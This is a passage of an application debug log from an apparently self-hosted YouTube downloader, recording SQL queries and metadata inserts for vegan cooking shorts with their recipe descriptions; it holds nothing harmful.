m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:02.117 [debug] QUERY OK source="media_items" db=0.6ms idle=12.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [546] 20:26:02.117 [debug] Current batch of media processed. Will check again in 1000ms 20:26:03.118 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This strawberry rhubarb crumble is by far my favourite dessert recipe ever. You can easily make it gluten free by using GF oats and with the ingredients in this recipe it's naturally vegan. The perfect dish for any party or get together and it's a super easy and quick recipe to make.\n\nCheck out the full recipe video here: https://youtu.be/DgaPvGrZJq8\n\nDon't forget to subscribe so you don't miss all of my weekly recipes and content!\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "duration" => 38, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-23 Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts/Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts [MLxMq3DPHSM].NA", "id" => "MLxMq3DPHSM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MLxMq3DPHSM", "playlist_index" => 158, "timestamp" => 1684855803, "title" => "Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts", "upload_date" => "20230523"} 20:26:03.120 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1005.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:03.120 [debug] QUERY OK source="sources" db=0.2ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:03.122 [debug] QUERY OK source="media_items" db=1.5ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-23 15:30:03Z], 1] 20:26:03.124 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This strawberry rhubarb crumble is by far my favourite dessert recipe ever. You can easily make it gluten free by using GF oats and with the ingredients in this recipe it's naturally vegan. The perfect dish for any party or get together and it's a super easy and quick recipe to make.\n\nCheck out the full recipe video here: https://youtu.be/DgaPvGrZJq8\n\nDon't forget to subscribe so you don't miss all of my weekly recipes and content!\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts", "2e169297-3f87-44dc-ae63-30b7fa099076", 1, [], 38, false, "MLxMq3DPHSM", "https://www.youtube.com/shorts/MLxMq3DPHSM", 158, "/downloads/downloads/alec/Steamy Vegan/2023-05-23 Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts/Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts [MLxMq3DPHSM].NA", false, false, true, 0, ~U[2023-05-23 15:30:03Z], ~U[2026-03-22 03:26:03Z], ~U[2026-03-22 03:26:03Z], "This strawberry rhubarb crumble is by far my favourite dessert recipe ever. You can easily make it gluten free by using GF oats and with the ingredients in this recipe it's naturally vegan. The perfect dish for any party or get together and it's a super easy and quick recipe to make.\n\nCheck out the full recipe video here: https://youtu.be/DgaPvGrZJq8\n\nDon't forget to subscribe so you don't miss all of my weekly recipes and content!\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts", 1, 38, false, "MLxMq3DPHSM", "https://www.youtube.com/shorts/MLxMq3DPHSM", "/downloads/downloads/alec/Steamy Vegan/2023-05-23 Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts/Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts [MLxMq3DPHSM].NA", true, ~U[2023-05-23 15:30:03Z]] 20:26:03.125 [debug] QUERY OK source="sources" db=0.4ms idle=121.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:03.125 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:03.126 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [547] 20:26:03.126 [debug] Current batch of media processed. Will check again in 1000ms 20:26:04.127 [debug] Current batch of media processed. Will check again in 1000ms 20:26:05.128 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I love vegan egg salad and it's the perfect protein packed lunch or afternoon snack. This vegan egg salad recipe uses tofu and black salt to make it the perfect copycat.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!", "duration" => 47, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-20 Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts/Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts [L0Qf87wnSqE].NA", "id" => "L0Qf87wnSqE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/L0Qf87wnSqE", "playlist_index" => 159, "timestamp" => 1684597302, "title" => "Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts", "upload_date" => "20230520"} 20:26:05.129 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=545.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:05.130 [debug] QUERY OK source="sources" db=0.5ms idle=546.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:05.132 [debug] QUERY OK source="media_items" db=2.3ms idle=547.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-20 15:41:42Z], 1] 20:26:05.134 [debug] QUERY OK source="media_items" db=1.1ms idle=549.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love vegan egg salad and it's the perfect protein packed lunch or afternoon snack. This vegan egg salad recipe uses tofu and black salt to make it the perfect copycat.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!", "Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts", "1339ea23-6cd4-4dc2-97a4-4c25541270ef", 1, [], 47, false, "L0Qf87wnSqE", "https://www.youtube.com/shorts/L0Qf87wnSqE", 159, "/downloads/downloads/alec/Steamy Vegan/2023-05-20 Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts/Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts [L0Qf87wnSqE].NA", false, false, true, 0, ~U[2023-05-20 15:41:42Z], ~U[2026-03-22 03:26:05Z], ~U[2026-03-22 03:26:05Z], "I love vegan egg salad and it's the perfect protein packed lunch or afternoon snack. This vegan egg salad recipe uses tofu and black salt to make it the perfect copycat.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!", "Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts", 1, 47, false, "L0Qf87wnSqE", "https://www.youtube.com/shorts/L0Qf87wnSqE", "/downloads/downloads/alec/Steamy Vegan/2023-05-20 Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts/Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts [L0Qf87wnSqE].NA", true, ~U[2023-05-20 15:41:42Z]] 20:26:05.135 [debug] QUERY OK source="sources" db=0.4ms idle=127.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:05.135 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:05.136 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [548] 20:26:05.136 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "QUICK PICKLED JALAPEÑOS! 🥵 a deliciously spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more! 🙌🏻\nAll you need to make your own Pickled Jalapeños are FIVE ✋🏻 simple ingredients that you already have in your kitchen! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nFresh jalapeños 🌶️ \nWater 💧 \nVinegar\nSalt\nSugar\n\n\n#steamyvegankitchen #pickle #jalapeños #pickledjalapeños #quickpickles #quickpickle #pickleseason #homemadepickles #picklespicklespickles #spicy #hotpeppers #summerrecipes #easyrecipes #eatplantsnotanimals", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Quick Pickled JALAPEÑOS! 🌶️/Quick Pickled JALAPEÑOS! 🌶️ [lpNXfcVAuR0].NA", "id" => "lpNXfcVAuR0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/lpNXfcVAuR0", "playlist_index" => 160, "timestamp" => 1684422720, "title" => "Quick Pickled JALAPEÑOS! 🌶️", "upload_date" => "20230518"} 20:26:05.137 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:05.138 [debug] QUERY OK source="sources" db=0.6ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:05.141 [debug] QUERY OK source="media_items" db=2.0ms queue=0.2ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 15:12:00Z], 1] 20:26:05.142 [debug] QUERY OK source="media_items" db=0.7ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["QUICK PICKLED JALAPEÑOS! 🥵 a deliciously spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more! 🙌🏻\nAll you need to make your own Pickled Jalapeños are FIVE ✋🏻 simple ingredients that you already have in your kitchen! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nFresh jalapeños 🌶️ \nWater 💧 \nVinegar\nSalt\nSugar\n\n\n#steamyvegankitchen #pickle #jalapeños #pickledjalapeños #quickpickles #quickpickle #pickleseason #homemadepickles #picklespicklespickles #spicy #hotpeppers #summerrecipes #easyrecipes #eatplantsnotanimals", "Quick Pickled JALAPEÑOS! 🌶️", "279a7e95-8496-4744-b4d2-4d55e79fc738", 1, [], 30, false, "lpNXfcVAuR0", "https://www.youtube.com/shorts/lpNXfcVAuR0", 160, "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Quick Pickled JALAPEÑOS! 🌶️/Quick Pickled JALAPEÑOS! 🌶️ [lpNXfcVAuR0].NA", false, false, true, 1, ~U[2023-05-18 15:12:00Z], ~U[2026-03-22 03:26:05Z], ~U[2026-03-22 03:26:05Z], "QUICK PICKLED JALAPEÑOS! 🥵 a deliciously spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more! 🙌🏻\nAll you need to make your own Pickled Jalapeños are FIVE ✋🏻 simple ingredients that you already have in your kitchen! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nFresh jalapeños 🌶️ \nWater 💧 \nVinegar\nSalt\nSugar\n\n\n#steamyvegankitchen #pickle #jalapeños #pickledjalapeños #quickpickles #quickpickle #pickleseason #homemadepickles #picklespicklespickles #spicy #hotpeppers #summerrecipes #easyrecipes #eatplantsnotanimals", "Quick Pickled JALAPEÑOS! 🌶️", 1, 30, false, "lpNXfcVAuR0", "https://www.youtube.com/shorts/lpNXfcVAuR0", "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Quick Pickled JALAPEÑOS! 🌶️/Quick Pickled JALAPEÑOS! 🌶️ [lpNXfcVAuR0].NA", true, ~U[2023-05-18 15:12:00Z]] 20:26:05.142 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:05.143 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:05.144 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [549] 20:26:05.144 [debug] Current batch of media processed. Will check again in 1000ms 20:26:06.145 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThe best protein brownies! They're vegan, gluten-free and DELISH!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nMusic by Mark Generous - Orange And Pomegranate - https://thmatc.co/?l=B521F325", "duration" => 41, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-15 THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts/THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts [IEaKiyiZNxA].NA", "id" => "IEaKiyiZNxA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IEaKiyiZNxA", "playlist_index" => 161, "timestamp" => 1684166284, "title" => "THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts", "upload_date" => "20230515"} 20:26:06.146 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:06.147 [debug] QUERY OK source="sources" db=0.2ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:06.150 [debug] QUERY OK source="media_items" db=2.1ms queue=0.3ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-15 15:58:04Z], 1] 20:26:06.151 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.5ms INSERT INTO "media_items" AS m0 